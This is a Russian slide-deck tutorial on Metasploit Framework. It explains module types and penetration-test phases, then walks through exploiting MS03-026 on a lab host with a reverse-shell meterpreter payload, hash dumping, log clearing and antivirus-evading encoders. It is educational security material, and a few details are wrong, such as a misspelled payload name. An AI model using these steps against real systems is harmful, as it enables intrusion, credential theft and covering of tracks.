Metasploit. Базовый алгоритм работы с Metasploit Framework

Содержание

Слайд 2

Основные термины для удобства Уязвимость (Vulnerability) – слабое место, которое позволяет

Основные термины для удобства

Уязвимость (Vulnerability) – слабое место, которое позволяет злоумышленнику/пентестеру

взламывать/скомпрометировать целевую систему. Уязвимость может существовать в операционных системах, программах, плагинах и т.д.
Эксплоит (Exploit) – код, с помощью которого можно взломать систему, программу и т.п., при наличии в них уязвимостей. Эксплоиты бывают активные (переполнение буфера, брутфорс, неправильные настройкибезопасности) и пассивные (поддельный DNS, редирект, фишинг).
Полезная нагрузка (Payload) – код, который выполняется после эксплоита. В основном используется длянастройки связи между жертвой и атакующим.
Модуль (Module) – код, который расширяет функциональность Metasploit Framework. Модули различаются по типу: эксплоиты, вспомогательные, полезная нагрузка, нопы (NOP) или модули постэксплуатации. Тип модуля определяет его цель.
Слушатель (Listener) – ожидает входящего соединения с эксплуатируемой целью или атакующей машиной и управляет полученным соединением.
Слайд 3

Введение В 2003 году, хакеру, известному как «HD Moore», пришла идея

Введение

В 2003 году, хакеру, известному как «HD Moore», пришла идея разработать

инструмент для быстрого написания эксплоитов. Так был рожден хорошо известный во всех кругах проект Metasploit. Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses.
Metasploit – это платформа для тестирования, поиска и использования уязвимостей. Она включает фреймворки Metasploit и их коммерческие аналоги: Metasploit Pro, Express, Community и Nexpose Ultimate
Слайд 4

На сегодняшний день Metasploit содержится в нескольких linux-дистрибутивах: — Kali linux

На сегодняшний день Metasploit содержится в нескольких linux-дистрибутивах: — Kali linux (kali.org); —

Backtrack linux (backtrack-linux.org (на этом дистрибутиве будет рассмотрена практическая часть презентации) — Pentoo (pentoo.ch); — BlackArch (www.blackarch.org); — Backbox (backbox.org).
Слайд 5

Metasploit использует различные библиотеки, которые играют ключевую роль в функционировании системы.

Metasploit использует различные библиотеки, которые играют ключевую роль в функционировании системы. Эти

библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть фреймфорка является Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.
Слайд 6

Базовый алгоритм работы с Metasploit Framework Поиск подходящего модуля с помощью

Базовый алгоритм работы с Metasploit Framework

Поиск подходящего модуля с помощью команды search или

Google.
Выбор модуля с помощью команды use.
Просмотр настроек выбранного модуля с помощью команд show options (продвинутые настройки — show advanced).
Установка конкретной опции с помощью команды set. Самыми часто задаваемыми опциями являются RHOST и RHOSTS. В первом случае можно задать только один адрес цели, а во втором – множество.
Установка подробного вывода с помощью команды set verbose true (если любопытно знать, что происходит).
Запуск модуля с помощью команды run.
Слайд 7

Рассмотрим следующие этапы тестирования защищенности, присутствующие в практически любом проекте по

Рассмотрим следующие этапы тестирования защищенности, присутствующие в практически любом проекте по

тестированию на проникновение:

Постановка задачи
Сбор информации и поиск целей
Поиск уязвимостей
Эксплуатация и проведение атак
Расширение зоны влияния и эскалация привилегий
Разработка отчета

Слайд 8

Этап 1. Постановка задачи Тестирование защищенности любой ИТ-инфраструктуры начинается с постановки

Этап 1. Постановка задачи

Тестирование защищенности любой ИТ-инфраструктуры начинается с постановки задачи.

В нашем случае мы ограничимся поиском максимального количества реальных уязвимостей, которые могут быть проэксплуатированы потенциальными злоумышленниками, имеющими физический доступ к компьютерной сети организации.
Для демонстрации работы некоторых модулей в статье будут приводиться результаты их запуска против такой учебной цели, как Metasploitable 2. Metasploitable 2 представляет собой виртуальную Linux-машину, содержащую массу уязвимых сервисов. Является стандартом де-факто для обучения начинающих специалистов по тестированию защищенности.
Слайд 9

Этап 2. Сбор информации и поиск целей Для проведения тестирования защищенности

Этап 2. Сбор информации и поиск целей

Для проведения тестирования защищенности специалистам

предоставляют доступ в сеть предприятия. В ходе предварительного сбора проводится сканирование узлов, определяются имена компьютеров, обнаруживаются общедоступные сетевые папки, критичные ресурсы.
Слайд 10

Этап 3. Поиск уязвимостей

Этап 3. Поиск уязвимостей

Слайд 11

Этап 4. Эксплуатация и проведение атак Для эксплуатации уязвимостей в сетевых

Этап 4. Эксплуатация и проведение атак

Для эксплуатации уязвимостей в сетевых сервисах

и прикладном ПО используются эксплойты из раздела exploit Metasploit Framework. На текущий момент в Metasploit Framework количество готовых к использованию эксплойтов уже приближается к двум тысячам. Подходящие эксплойты можно найти с помощью команды search по коду CVE, названию или версии сервиса (например, search vsftpd).
Слайд 12

Этап 5. Расширение зоны влияния и эскалация привилегий Зачастую наличие доступа

Этап 5. Расширение зоны влияния и эскалация привилегий

Зачастую наличие доступа к

какой-либо системе позволяет расширить его на другие системы. Иногда возможна и эскалация привилегий, позволяющая обычному пользователю стать администратором.
Рассмотрим две типовые ситуации, знание которых облегчает проведение тестирования защищенности.
Пользователи, использующие одинаковые пароли
Пользователи любят использовать одинаковые пароли в различных системах, поэтому целесообразно проверять однажды подобранные пары логин: пароль во всех доступных системах.
Слайд 13

ИТ-специалисты, забывающие удалить из тестовой среды критичные данные В крупных организациях

ИТ-специалисты, забывающие удалить из тестовой среды критичные данные
В крупных организациях у

серьезных систем, как правило, имеется тестовая среда, на которой отрабатываются изменения, обучаются пользователи и т.п. Тестовые среды очень часто создаются путем восстановления из резервных копий боевых сред, при этом, так как они являются тестовыми, то не всегда уделяется должное внимание вопросам информационной безопасности. Так, например, могут создать учетную запись администратора с легко угадываемым паролем либо не установить критичные обновления операционной системы. Специалисты по тестированию защищенности, получив доступ к тестовой среде, выгружают данные пользователей (логины/хеши паролей), которые в основной своей массе соответствуют тем, что используются в боевой системе.
Слайд 14

Этап 6. Разработка отчета Если результаты тестирования защищенности интересуют не только

Этап 6. Разработка отчета

Если результаты тестирования защищенности интересуют не только самого

системного администратора, то имеет смысл подготовить качественный отчет.
Основной составляющей отчета является информация об уязвимостях, которая, как правило, представляется в следующем структурированном виде:
обнаружение – информация о названии уязвимости, ее кодах, перечень узлов, подверженных ей.
эксплуатация – скриншоты и журналы, демонстрирующие эксплуатацию уязвимости;
риск – к чему может привести эксплуатация уязвимости;
рекомендации – рекомендации технического и организационного характера по устранению уязвимости.
Слайд 15

Armitage Если вы хотите использовать Metasploit с графическим интерфейсом (GUI), то

Armitage

Если вы хотите использовать Metasploit с графическим интерфейсом (GUI), то здесь есть несколько

вариантов. Например, Рафаэль Мадж (Raphael Mudge) разработал Armitage (это имя главного героя в весьма оригинальной научно-фантастической книге о кибер-хакинге «Neuromancer». Ее должен прочитать каждый хакер, которому нравится жанр SciFi).
Чтобы запустить Armitage в Kali, просто введите:
kali > armitage
Слайд 16

Модули У Metasploit есть шесть разных модулей: payloads exploits post nops auxiliary encoders

Модули

У Metasploit есть шесть разных модулей:
payloads
exploits
post
nops
auxiliary
encoders

Слайд 17

Payloads — это код, который мы оставляем на взломанной системе. Некоторые

Payloads — это код, который мы оставляем на взломанной системе. Некоторые называют

их слушателями (listener), руткитами (rootkit) и т.д. В Metasploit они называются payload (полезными нагрузками). Payloads включают утилиты командной строки, Meterpreter и т.д. Payload‘ы бывают разных типов, например, staged, inline, NoNX (обходит функцию «No Execute» (без выполнения) в некоторых современных процессорах), PassiveX (обходит правила брандмауэра об исходящем трафике), IPv6 и другие
Слайд 18

Exploits — это шелл-код, который использует уязвимость или недостатки в системе.

Exploits — это шелл-код, который использует уязвимость или недостатки в системе. Это

очень специфичный код. Например, есть эксплоиты для операционной системы, пакетов обновлений (SP), для конкретных служб, портов и даже для приложений. Их также можно классифицировать по типам операционных систем, поэтому эксплойт Windows не работает в Linux и наоборот.
Слайд 19

Post — это модули, которые мы можем использовать для пост эксплуатационных

Post — это модули, которые мы можем использовать для пост эксплуатационных атак

системы (т.е. после получения доступа к системе).
Слайд 20

Nops — сокращение от No OPerationS. В процессорах семейства x86 обычно

Nops — сокращение от No OPerationS. В процессорах семейства x86 обычно указывается

как шестнадцатеричный 0x90. Это просто означает «ничего не делать». Это может иметь решающее значение для атак переполнения буфера (buffer overflow). Мы можем посмотреть модули nops с помощью команды show.
msf > show nops
Слайд 21

Слайд 22

Auxiliary — включает в себя множество модулей (695), которые не вписываются

Auxiliary — включает в себя множество модулей (695), которые не вписываются ни

в одну из других категорий. К ним относятся такие вещи, как фьюзеры (fuzzer), сканеры (scanner), модули для DoS-атак (на отказ в обслуживании) и многое другое. За более подробной информацией отсылаю вас к нашей статье об Auxiliary модулях.
Слайд 23

Encoders — это модули, которые позволяют по-разному кодировать нашу полезную нагрузку

Encoders — это модули, которые позволяют по-разному кодировать нашу полезную нагрузку (payloads),

чтобы обойти антивирусное ПО и другие системы безопасности. Мы можем увидеть эти кодировщики, набрав:
msf > show encoders
Слайд 24

Слайд 25

На практике. Шаг 1 Запускаем сетевой сканер Nmap для анализа удаленного

На практике. Шаг 1
Запускаем сетевой сканер Nmap для анализа удаленного сервера

по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот.
Слайд 26

Шаг 2 На нашей машине, в операционной системе BackTrack, переходим в

Шаг 2

На нашей машине, в операционной системе BackTrack, переходим в меню

по пути:
Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole
Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте
Слайд 27

Слайд 28

Шаг 3 Теперь, когда мы знаем, что на удаленной машине открыт

Шаг 3

Теперь, когда мы знаем, что на удаленной машине открыт порт

135, в консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc. Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole, как показано на скриншоте
Слайд 29

Слайд 30

Шаг 4 Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам

Шаг 4

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна

более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.
Слайд 31

Шаг 5 В общем случае запуск команды use запускает окружение указанного

Шаг 5

В общем случае запуск команды use запускает окружение указанного

эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Мы перешли во временное окружение этого эксплоита.

Слайд 32

Шаг 6 Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует

Шаг 6

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того

текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135. Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST.
Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129., как на скриншоте
Слайд 33

Слайд 34

Шаг 7 Последнее, что нам осталось сделать прежде чем запустить эксплоит

Шаг 7

Последнее, что нам осталось сделать прежде чем запустить эксплоит -

установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads.
Слайд 35

Слайд 36

Как видно на скриншоте, команда show payloads покажет нам все payload'ы,

Как видно на скриншоте, команда show payloads покажет нам все payload'ы,

которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter, задав его командой set PAYLOAD windows/meterpreter/reserve_tcp, что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.
Слайд 37

Слайд 38

Шаг 8 Обратите внимание, что параметр LHOST для payload'а не установлен.

Шаг 8

Обратите внимание, что параметр LHOST для payload'а не установлен. Так

что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128.
Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.
Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на следующем скриншоте хорошо видно, что в нашем случе это именно так.
Слайд 39

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со

стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.
Слайд 40

Шаг 9 Теперь, когда дополнительное соединение между жертвой и нашей машиной

Шаг 9

Теперь, когда дополнительное соединение между жертвой и нашей машиной установлено,

нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.
Ниже показаны результаты некоторых команд meterpreter:
ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
getuid - отображает имя сервера в консоли;
hashdump - создает dump базы данных SAM;
clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.
Слайд 41

Потенциальные возможности использования фреймворка Metasploit: Metasploit может использоваться при пентестинге для

Потенциальные возможности использования фреймворка Metasploit:

Metasploit может использоваться при пентестинге для создания

отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
Metasploit может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
Metasploit также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.
Слайд 42

Заключение Мы рассмотрели применение Metasploit Framework для возможности самостоятельного применения администраторами

Заключение

Мы рассмотрели применение Metasploit Framework для возможности самостоятельного применения администраторами для

тестирования защищенности и убедились в доступности и эффективности данного инструмента. Большинство «болевых точек» могут быть с легкостью проверены благодаря широкому набору модулей данного фреймворка. Единственной проблемной областью применения для тестирования защищенности исключительно Metasploit Framework является необходимость проводить трудоемкий ручной поиск уязвимостей, но данная проблема может быть устранена применением сканера уязвимостей, например, из состава «Сканер-ВС».